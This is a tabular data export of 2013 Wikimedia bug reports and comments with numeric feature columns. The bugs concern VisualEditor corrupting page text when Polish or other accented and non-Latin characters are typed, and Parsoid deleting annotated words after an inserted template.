https://bugzilla.wikimedia.org/show_bug.cgi?id=53680",Unbreak Now!,100.0,1378296540,1378958511.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-pkce7psg2t4g6fb5wfiy,task_description,resolved,True,c1,3,True,False,True,9,,0.5,0.0,0.0,0.5,0.0,4.5,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,5.0,4.5,0.0,1.0,0.0,0.5,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.5,4.5,0.5,0.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,1.5,0.0,2.5,0.0,0.5,0.0,0.0,0.0,14.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,3.5,1.5,12.5,1.0,2.0,4.5,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,4.0,4.5,4.5,0.0,3.5,0.0,4.0,0.0,0.5,0.0,1.5,2.5,0.5,0.5,0.0,3.8109390609390608,0.6446053946053946,"Since approx. August 30-31 VisualEditor breaks when Polish-language diacritics (ążśźęćń󳥯ŚŹĘĆŃÓŁ) are input. The characters themselves disappear and text around them gets mangled and moved around.

They're all input using AltGr (right Alt) + diacritic-less version of the characters, with the exception of ""x"" mapping to ""ź"" (so, respectively, azsxecnol).

I have been unable to replicate the issue myself, but it's definitely happening.

pl.wp thread: URL

This is repeatedly breaking page text on the Polish Wikipedia, so I'm marking the bug ""highest critical"".

--------------------------
**Version**: unspecified
**Severity**: critical
**URL**: URL
**See Also**:
URL"
237176,VisualEditor breaks when Polish-language diacritics (ążśźęćńół) are input,"It seems like it does actually fix the issue (for me at least). Thanks.

So that means editing will have been completely broken for only three weeks straight by the time this gets deployed :/",,,1379174957,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-pkce7psg2t4g6fb5wfiy,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,12.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,2.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,8.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,3.95,0.925,"It seems like it does actually fix the issue (for me at least). Thanks.

So that means editing will have been completely broken for only three weeks straight by the time this gets deployed :/"
237170,VisualEditor breaks when Polish-language diacritics (ążśźęćńół) are input,"Marking this as ""FIXED"" on the expectation that it's fixed - please re-open if you find that it is still occurring.",,,1378958511,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pkce7psg2t4g6fb5wfiy,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,7.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,11.0,22.0,4.0,0.0,7.0,0.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.5185185185185186,0.8518518518518519,"Marking this as ""FIXED"" on the expectation that it's fixed - please re-open if you find that it is still occurring."
237164,VisualEditor breaks when Polish-language diacritics (ążśźęćńół) are input,"Ok, the patch is merged, and due to go live on mediawiki.org by 13 September 2013:

https://gerrit.wikimedia.org/r/#/c/82858/

Please let us know whether it fixes the bug!",,,1378943228,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-pkce7psg2t4g6fb5wfiy,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,12.0,3.0,3.0,6.0,0.0,0.0,3.0,0.0,9.0,6.0,6.0,0.0,6.0,16.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.4375,0.90625,"Ok, the patch is merged, and due to go live on mediawiki.org by 13 September 2013:

URL

Please let us know whether it fixes the bug!"
237160,VisualEditor breaks when Polish-language diacritics (ążśźęćńół) are input,"I'm optimistic that the following patch will fix this bug:

https://gerrit.wikimedia.org/r/#/c/82858/

If someone can test this hypothesis, great; if not, then I will hopefully be able to do so later today.",,,1378745638,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-pkce7psg2t4g6fb5wfiy,task_subcomment,,True,c1,3,False,,,10,,0.0,3.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,13.0,10.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,10.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,10.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.58974358974359,0.8717948717948718,"I'm optimistic that the following patch will fix this bug:

URL

If someone can test this hypothesis, great; if not, then I will hopefully be able to do so later today."
237153,VisualEditor breaks when Polish-language diacritics (ążśźęćńół) are input,Is there any progress on this? Because today's the point when I'd suggest reverting the deployment to last known good version if nobody is going to fix this.,,,1378745123,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-pkce7psg2t4g6fb5wfiy,task_subcomment,,True,c1,3,True,,,10,,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,3.0,16.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,6.0,9.0,9.0,0.0,16.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,16.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0625,0.90625,Is there any progress on this? Because today's the point when I'd suggest reverting the deployment to last known good version if nobody is going to fix this.
237146,VisualEditor breaks when Polish-language diacritics (ążśźęćńół) are input,"I've tested this on master in Firefox under Ubuntu -- I managed to replicate the behavior not just in polish, but also Spanish diacritics but only when these are ""added on"". Trying to add diacritic to an existing character produced a pawn and then some odd duplication of characters.

That did not happen when I typed in either Hebrew or Arabic in master.

Another thing I found is that there seems to be a difference between an already-combined diacritic (like ñ which is native to the Spanish keyboard) and an ""added"" diacritic. When I typed the native ñ nothing broke, it added it properly and the behavior was correct. 

And finally, the typing broke and the pawn appeared only when I tried to add diacritic to a latin letter. 

When I tried to add ""niqqud"" to Hebrew letters, though, like pressing ש and left-Alt+a to produce שְ the behavior was as expected (no pawn, no problem)",,,1378402971,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-pkce7psg2t4g6fb5wfiy,task_subcomment,,True,c1,3,False,,,9,,0.5,0.0,0.0,0.0,1.0,6.0,2.5,0.0,0.5,0.0,2.5,0.5,0.0,1.0,0.5,3.5,0.0,8.5,12.0,0.5,3.0,0.0,0.0,0.5,7.5,0.5,0.0,0.0,0.0,0.0,0.0,2.5,1.0,1.0,3.0,0.0,1.0,0.0,0.5,0.0,1.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,12.5,1.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,7.0,3.0,11.0,3.0,5.0,11.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,4.5,12.0,3.0,0.0,3.0,0.0,4.5,0.0,3.0,3.0,0.0,1.5,0.0,0.0,0.0,3.907801418439716,0.6839967970716083,"I've tested this on master in Firefox under Ubuntu -- I managed to replicate the behavior not just in polish, but also Spanish diacritics but only when these are ""added on"". Trying to add diacritic to an existing character produced a pawn and then some odd duplication of characters.

That did not happen when I typed in either Hebrew or Arabic in master.

Another thing I found is that there seems to be a difference between an already-combined diacritic (like ñ which is native to the Spanish keyboard) and an ""added"" diacritic. When I typed the native ñ nothing broke, it added it properly and the behavior was correct. 

And finally, the typing broke and the pawn appeared only when I tried to add diacritic to a latin letter. 

When I tried to add ""niqqud"" to Hebrew letters, though, like pressing ש and left-Alt+a to produce שְ the behavior was as expected (no pawn, no problem)"
237139,VisualEditor breaks when Polish-language diacritics (ążśźęćńół) are input,Bug 53680 shows this also happens on en.wp and fr.wp and is independent of keyboard layout.,,,1378313646,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-pkce7psg2t4g6fb5wfiy,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.470588235294118,0.9411764705882353,Bug 53680 shows this also happens on en.wp and fr.wp and is independent of keyboard layout.
237130,VisualEditor breaks when Polish-language diacritics (ążśźęćńół) are input,"https://pl.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Opinie&oldid=37428181#.C4.99 is a pretty good explanation, and makes clear it's not browser (or OS) dependent.",,,1378313289,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-pkce7psg2t4g6fb5wfiy,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.55,1.0,"URL is a pretty good explanation, and makes clear it's not browser (or OS) dependent."
237120,VisualEditor breaks when Polish-language diacritics (ążśźęćńół) are input,"Actually, I sort of have reproduced it now. I used Opera 12, but some users at pl.wp reported it happening on Chrome – it's probably not browser-dependent.

You'll probably need to set your system keyboard to ""Polish (programmer's)"" or similarly named one. (It's the same as standard US layout, but includes the AltGr diacritics. A ""Polish (typist's)"" layout exists on some systems, but nobody ever uses it, so forget it.)

1.
Try inputting some text with diacritics, such as the ""Pójdź, kińże tę chmurność w głąb flaszy!"" sentence above (copying and pasting text with diacritics doesn't cause issues, you need to type it). (Strings of one character such as ""ąąąą"" tend to work correctly for some reason.)

2.
Depending on your luck, it might look okay, or you might get parts of the sentence duplicated in the next paragraph. Regardless of that, try backspacing a little now. The cursor will likely be moved to someplace in the next paragraph and unrelated characters will be removed.

3.
Try previewing the changes. The text will differ from the one shown in editing view.",,,1378297413,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-pkce7psg2t4g6fb5wfiy,task_subcomment,,True,c1,3,True,,,9,,1.3333333333333333,0.0,0.0,0.6666666666666666,0.6666666666666666,5.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.6666666666666666,0.0,0.0,0.0,1.0,0.6666666666666666,6.0,8.333333333333334,0.3333333333333333,1.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,1.6666666666666667,0.0,3.3333333333333335,1.0,2.6666666666666665,0.3333333333333333,1.6666666666666667,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,11.333333333333334,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.6666666666666666,0.0,0.0,0.0,4.666666666666667,0.6666666666666666,7.0,0.0,2.3333333333333335,6.333333333333333,0.0,0.0,0.3333333333333333,0.0,5.333333333333333,0.0,1.6666666666666667,0.0,5.333333333333333,8.333333333333334,3.0,0.0,2.6666666666666665,0.0,5.333333333333333,0.0,0.0,0.6666666666666666,0.0,2.6666666666666665,0.0,0.0,0.6666666666666666,3.7389403292181065,0.717798353909465,"Actually, I sort of have reproduced it now. I used Opera 12, but some users at pl.wp reported it happening on Chrome – it's probably not browser-dependent.

You'll probably need to set your system keyboard to ""Polish (programmer's)"" or similarly named one. (It's the same as standard US layout, but includes the AltGr diacritics. A ""Polish (typist's)"" layout exists on some systems, but nobody ever uses it, so forget it.)

1.
Try inputting some text with diacritics, such as the ""Pójdź, kińże tę chmurność w głąb flaszy!"" sentence above (copying and pasting text with diacritics doesn't cause issues, you need to type it). (Strings of one character such as ""ąąąą"" tend to work correctly for some reason.)

2.
Depending on your luck, it might look okay, or you might get parts of the sentence duplicated in the next paragraph. Regardless of that, try backspacing a little now. The cursor will likely be moved to someplace in the next paragraph and unrelated characters will be removed.

3.
Try previewing the changes. The text will differ from the one shown in editing view."
237112,VisualEditor breaks when Polish-language diacritics (ążśźęćńół) are input,"Examples of edits apparently exhibiting this issue:

* https://pl.wikipedia.org/w/index.php?title=Rondo&curid=122034&diff=37421631&oldid=35999089 - ""Największe rondo"" -> ""Najwi kszerondo""

* https://pl.wikipedia.org/w/index.php?title=Euronews&diff=prev&oldid=37394282 - ""dostpna"" should be ""dostępna"", ""Midzyrnodowym"" should be ""Międzynarodowym"", etc.

* https://pl.wikipedia.org/w/index.php?title=1967&diff=next&oldid=37422197 - ""ki rapers"" should probably be ""Amerykański raper"" (both occurences - this happened on two consecutive edits)

Results of a user trying to type in ""Pójdź, kińże tę chmurność w głąb flaszy!"" when reproducing this bug:
* https://www.mediawiki.org/w/index.php?title=User:G%C5%BCdacz&oldid=775661
* https://www.mediawiki.org/w/index.php?title=User:G%C5%BCdacz&oldid=775666",,,1378296668,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-pkce7psg2t4g6fb5wfiy,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,3.5,4.5,0.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.5,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,9.0,1.0,0.0,4.5,0.0,0.0,1.0,0.0,3.0,0.0,1.0,0.0,0.0,4.5,10.0,0.0,11.5,0.0,0.0,0.0,1.0,1.0,0.0,2.5,0.0,0.0,1.5,3.564668174962293,0.6907993966817496,"Examples of edits apparently exhibiting this issue:

* URL - ""Największe rondo"" -> ""Najwi kszerondo""

* URL - ""dostpna"" should be ""dostępna"", ""Midzyrnodowym"" should be ""Międzynarodowym"", etc.

* URL - ""ki rapers"" should probably be ""Amerykański raper"" (both occurences - this happened on two consecutive edits)

Results of a user trying to type in ""Pójdź, kińże tę chmurność w głąb flaszy!"" when reproducing this bug:
* URL
* URL"
55680,VisualEditor: annotating or linking newly added text containing accented or non-Latin characters causes corruption and pawns,"I haven't worked out this out fully yet, but it seems that linking or annotating newly added text that contains accented or non-Latin characters frequently causes those characters to disappear. Re-adding them in the same word almost always results in their turning into pawns when, anywhere else on the page, the link dialog is subsequently opened or a link is inserted.

This happens everywhere on a page including body text, tables and image captions.

--------------------------
**Version**: unspecified
**Severity**: critical
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=53747",Unbreak Now!,100.0,1378127940,1378958522.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-fbhx4wfxlfcwk7mwpqtl,task_description,resolved,True,c1,3,False,False,True,9,,0.0,0.0,0.5,2.0,0.5,4.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.5,0.0,0.5,0.5,7.5,5.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,5.0,1.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,1.0,2.5,0.0,0.0,0.0,0.5,0.0,13.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.5,0.0,3.5,2.0,7.0,1.0,3.5,5.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.0,5.5,0.0,0.0,0.0,0.0,2.0,0.0,1.0,2.0,0.5,3.0,0.0,0.0,0.5,4.101330913490623,0.7380520266182697,"I haven't worked out this out fully yet, but it seems that linking or annotating newly added text that contains accented or non-Latin characters frequently causes those characters to disappear. Re-adding them in the same word almost always results in their turning into pawns when, anywhere else on the page, the link dialog is subsequently opened or a link is inserted.

This happens everywhere on a page including body text, tables and image captions.

--------------------------
**Version**: unspecified
**Severity**: critical
**See Also**:
URL"
257414,VisualEditor: annotating or linking newly added text containing accented or non-Latin characters causes corruption and pawns,*** Bug 54047 has been marked as a duplicate of this bug. ***,,,1378959962,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fbhx4wfxlfcwk7mwpqtl,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 54047 has been marked as a duplicate of this bug. ***
257411,VisualEditor: annotating or linking newly added text containing accented or non-Latin characters causes corruption and pawns,"Marking this as ""FIXED"" on the expectation that it's fixed - please re-open if you find that it is still occurring.",,,1378958522,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fbhx4wfxlfcwk7mwpqtl,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,7.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,11.0,22.0,4.0,0.0,7.0,0.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.5185185185185186,0.8518518518518519,"Marking this as ""FIXED"" on the expectation that it's fixed - please re-open if you find that it is still occurring."
257405,VisualEditor: annotating or linking newly added text containing accented or non-Latin characters causes corruption and pawns,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:

https://gerrit.wikimedia.org/r/#/c/82858/

Please let us know whether it fixes the bug!",,,1378943119,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-fbhx4wfxlfcwk7mwpqtl,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,11.0,3.0,0.0,11.0,0.0,0.0,3.0,0.0,11.0,3.0,5.0,0.0,5.0,16.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.710526315789474,0.8947368421052632,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:

URL

Please let us know whether it fixes the bug!"
257400,VisualEditor: annotating or linking newly added text containing accented or non-Latin characters causes corruption and pawns,"(In reply to comment #3)
> Same as bug 53747?

Yes. I don't want to just merge them though as they're assigned to different people.",,,1378309729,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-fbhx4wfxlfcwk7mwpqtl,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,7.0,7.0,0.0,0.0,0.0,3.0,0.0,10.0,17.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,3.0,3.0,0.0,10.0,17.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.2666666666666666,0.9,"(In reply to comment #3)
QUOTE

Yes. I don't want to just merge them though as they're assigned to different people."
257393,VisualEditor: annotating or linking newly added text containing accented or non-Latin characters causes corruption and pawns,Same as bug 53747?,,,1378308416,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-fbhx4wfxlfcwk7mwpqtl,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Same as bug 53747?
257386,VisualEditor: annotating or linking newly added text containing accented or non-Latin characters causes corruption and pawns,"K7L comments:
""I am seeing the same problems if I try to edit ordinary text such as the article intro. Pressing <save> or even <backspace> makes accented characters in newly-edited text vanish. This editor is not usable for non-English text on this browser [firefox].""

This needs to be fixed urgently.",,,1378307780,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-fbhx4wfxlfcwk7mwpqtl,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,1.0,1.0,12.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,10.0,1.0,1.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,3.6956521739130435,0.8115942028985508,"K7L comments:
""I am seeing the same problems if I try to edit ordinary text such as the article intro. Pressing <save> or even <backspace> makes accented characters in newly-edited text vanish. This editor is not usable for non-English text on this browser [firefox].""

This needs to be fixed urgently."
257381,VisualEditor: annotating or linking newly added text containing accented or non-Latin characters causes corruption and pawns,"Now also reported on the French Wikipedia:
[[:fr:Route 2 (Ontario)]] and its revision history, the distance chart is a table and Unicode descriptive text added with VisualEditor didn't save properly.[https://fr.wikipedia.org/w/index.php?title=Route_2_%28Ontario%29&diff=96342109&oldid=96342028] The damage was fixed using the standard MW wiki source editor but is still in history. Try inserting « La route 2 va à Montréal (Québec) » (or something/anything that isn't US ASCII) into a table cell and watch it fail to display correctly or fail to save.


The fr.wp reported was using an unspecified version of firefox on Vector in Ubuntu. I use Firefox 23 on monobook in Xubuntu.

Raising this to critical as being able to use all characters in a language is essential.",,,1378194601,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-fbhx4wfxlfcwk7mwpqtl,task_subcomment,,True,c1,3,False,,,9,,0.5,1.5,0.0,0.5,1.0,4.0,2.5,0.0,0.0,0.0,3.5,1.0,0.0,0.0,0.0,1.5,0.0,3.5,10.0,1.5,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,1.5,0.0,0.0,0.0,10.5,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.5,4.5,13.0,0.0,3.5,6.5,0.0,0.0,0.0,0.0,5.0,0.0,1.5,0.0,2.0,10.0,11.0,0.0,0.0,0.0,2.0,0.0,0.5,2.5,0.0,2.5,0.0,0.0,2.0,3.97887323943662,0.8309859154929577,"Now also reported on the French Wikipedia:
[[:fr:Route 2 (Ontario)]] and its revision history, the distance chart is a table and Unicode descriptive text added with VisualEditor didn't save properly.[URL The damage was fixed using the standard MW wiki source editor but is still in history. Try inserting « La route 2 va à Montréal (Québec) » (or something/anything that isn't US ASCII) into a table cell and watch it fail to display correctly or fail to save.


The fr.wp reported was using an unspecified version of firefox on Vector in Ubuntu. I use Firefox 23 on monobook in Xubuntu.

Raising this to critical as being able to use all characters in a language is essential."
55334,Parsoid: Annotated text after a template is deleted,"When inserting any template immediately before any word that is linked or has bold or italic markup, that word is deleted but continues to be displayed in the editing surface. The deletion can only be seen in review changes or upon saving.

To reproduce:
1. Open any page in VE.
2. Place the cursor immediately before a word (i.e. with no white space between the cursor and word) that is one or more of:
   * A link
   * Bold text
   * Italic text
   * plain text that you have just added one of the above to
3. Insert any template at the cursor position
4. Observe the word remains as expected
5. Review changes, and observe the word has been deleted.

Examples: https://en.wikipedia.org/w/index.php?title=User%3AThryduulf%2Fsandbox2&diff=570195482&oldid=570194023

On en.wp PamD encountered this bug when inserting a maintenance template at the head of an article that started with a bold word.

--------------------------
**Version**: unspecified
